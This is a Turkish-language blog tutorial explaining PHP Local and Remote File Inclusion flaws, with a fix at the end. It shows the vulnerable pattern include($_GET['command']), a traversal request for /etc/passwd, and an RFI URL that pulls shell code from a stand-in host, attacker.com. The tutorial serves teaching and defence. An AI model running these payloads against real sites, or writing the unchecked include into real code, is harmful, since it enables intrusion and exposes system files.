File Inclusion Nedir ? (LFI,RFI)

Merhabalar bu yazımda sizlere Web Programlama dili PHP’de bulunan LFI ve RFI açıklarından bahsedeceğim.Tabi öncelikle File Inclusion Nedir ? Bu tanıma bakmalıyız.

File Inclusion :

File Inclusion yani Dosya dahil etme saldırısı , hedef web sitesinde bulunan bir dosyanın bize sunmaksızın görüntülenebilmesine denir.

File Inclusion açığını incelerken iki alt alana bakacağız.Bunlar Local File Inclusion(LFI) ve Remote File Inclusion(RFI) olarak adlandırılmaktadır.Local File Inclusion saldırısı hedef sistemin sunucusunda bulunan ve ziyaretçilere sunulmamış dosyalara hedef site üzerinden erişebilmemize denir.Remote File Inclusion saldırısı ise hedef siteye saldırganın kendi dosyasını (örneğin shell dosyasını) görüntületmesine denir. Şimdi bu tanımları detaylı olarak inceleyelim.

Local File Inclusion (LFI):

Local File Inclusion yani kelime anlamı olarak yerel dosya dahil etme saldırısı diyebiliriz. LFI açığımız PHP’de bulunan bir açıktır.Bu açıkların sebebi de genellikle değişken atamalarından dolayı bulunan hatalardır.Günümüzde halen sıfırdan kodlanan PHP sistemlerde bu açık bulunuyor.

LFI PHP’de “include, isset() , $_GET ” kodlarından dolayı oluşuyor.Şimdi gelin beraber bu kodları inceleyelim 🙂

$_GET : Bu kodda sorgular şifrelenmeden, URL üzerinden sunucuya gönderilir. Post yönteminden daha güvensizdir; sorgular sunucuda ve istemcinin tarayıcısında kaydedilir. Güvensiz olsada istemci sorgular URL üzerinden gönderildiği için sayfaya daha kolay bir şekilde erişebilir.Burada içine command değişkenini atadık.URL’de lfi.php den sonra ?command= gelebilmesi için.

isset() Fonkisyonu: isset bir değişkenin olup olmadığını kontrol etmek için kullanılan bir fonksiyondur.

INCLUDE / INCLUDE_ONCE: Bu kodumuz ile yazdığımız uzun kodları bir başka sayfaya aktarıyoruz.

Kavramları anladığımıza göre öncelikle bir LFI açığı yazalım daha sonrada bu açıktan nasıl yararlanabileceğimizi öğrenelim.

Burada sunucumuzda çalıştıracağımız kısım lofi.php dosyası olacaktır.lofi.php’i de öncelikle bir form oluşturuyoruz.Form’un içeriğinde birden fazla dosya olabilirdi fakat biz lissusers.php dosyasını ekledik.Bu dosyaya gitmek istediğimiz de submit butonuna basıyoruz ve daha sonradan get metodu ile lfi.php’ye gidiyor ve direkt olarak hiçbir engelleme yapmadan dosyayı include değişkeninin içine atıyor ve dosyayı açıyor.Buda bizim sistemimizde LFI açığını doğuruyor.

Daha anlaşılabilmesi açısından resimler ile inceleyelim.

Sitemizde girdiğimizde karşımıza böyle bir sayfa çıkıyor.

Gördüğümüz üzere url kısmında dediğimiz gibi command kısmından sonra dosyamızı açtı.Demek ki dosyamız yerine başka dosya ismi yazarsak okuyabiliriz.Örneğin etc/passwd dosyası kullanıcılar hakkında bilgi almak için işe yarayabilir.Fakat bu dosya kök dizininin altında olduğu için öncelikle başına ‘../../../’ işaretlerinden koyarak önceki dizinlere gidebiliriz.

Sonuç olarak yukarıdaki gibi dahil edilecek dosya get ile alınıp hiçbir kontrol ve temizleme işlemine tabi tutulmadan include fonksiyonuna veriliyor. Saldırgan adres satırında ”lfi/lfi.php?command=/etc/passwd ” şeklinde bir istek yaptığında sistemin passwd dosyasını okuyabiliyor. Sistem içerisinden bir dosya olan passwd’yi okumakla local file inclusion zafiyetini kullanmış olduk.

Şimdi ise RFI nasıl yapılır ? Ona bakalım.

include($_GET[‘command’]);

Bu satırdaki “$” işareti bulunan parametreden doğan hatalı kodlama ile uzaktan dosya çağırmak mümkündür. “http://www.hedef.com/lfi/lfi.php?command=http://attacker.com/shell.txt?” Yukarıdaki şekilde, http://attacker.com/shell.txt? adresinde bulunan zararlı kodlar www.hedef.com adresi üzerinde çalıştırılacaktır.Php versiyonunuz 4.0.3 ve üstü ise varsayılan olarak sisteminizin uzaktan dosya çalıştırma özelliği kapalıdır..

Çalışma Örneği= Böylelikle artık kendimiz bir file inclusion zafiyetli bir web sayfası oluşturabiliriz.Url kısmında dosyaları okuyabiliyor isek neden kod çalıştıramayalım ? File Inclusion’dan Remote Command Execution’a geçebilirsiniz arkadaşlar.Bu kısmı bilerek size bıraktım çünkü öğrendiğiniz bu bilgiler ile yapabilirsiniz.Eğer ki sorularınız olursa yorumdan veya mail aracılığıyla bana ulaşabilirsiniz.

Peki bu açığı nasıl kapatalım ?: 

Genellikle bu açığı kapatmak için php kodunda ‘../’ kod cümleciğini engelliyorlar.Fakat bizde bu kod cümleciği yerine url ile encode edilmiş halini koyduğumuz da program yine patlıyor.Bu yüzden daha güvenilir bir şekilde nasıl yazabiliriz kodumuzu bakalım.

Bu şekilde yazdığımız da sistemimizde bulunan dosyaları direkt olarak bir dizinin içine atıyoruz.Daha sonradan if içinde eğerki dosyamız var ise include etmesi gerektiğini söylüyoruz.Bu şekilde de açığı engelliyoruz.

Gördüğümüz gibi açığımız kapandı.Yazımı okuduğunuz için teşekkür ederim.Diğer yazılarımda görüşmek üzere 🙂

Bir cevap yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

15 + 15 =